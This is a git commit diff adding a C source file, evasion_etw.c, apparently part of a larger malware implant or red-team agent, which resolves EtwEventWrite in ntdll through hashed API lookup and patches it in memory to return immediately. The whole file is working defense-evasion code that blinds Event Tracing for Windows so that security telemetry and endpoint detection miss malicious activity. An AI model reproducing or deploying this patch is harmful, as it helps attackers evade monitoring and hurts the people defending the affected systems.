initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
@@ -0,0 +1,33 @@
+/**
+ * evasion_etw.c — ETW (Event Tracing for Windows) patching
+ *
+ * Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
+ * immediately, preventing ETW-based telemetry from logging events.
+ */
+
+#include <windows.h>
+#include <stdint.h>
+
+#include "api_resolve.h"
+
+#ifdef EVASION_ETW_PATCH
+
+void evasion_etw_init(void) {
+    /* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
+    FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
+    if (!pEtwWrite) return;
+
+    /* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
+     * x64 patch:  xor eax, eax; ret
+     *   33 C0 C3
+     */
+    uint8_t patch[] = { 0x33, 0xC0, 0xC3 };
+
+    DWORD old_protect;
+    if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
+        memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
+        g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
+    }
+}
+
+#endif /* EVASION_ETW_PATCH */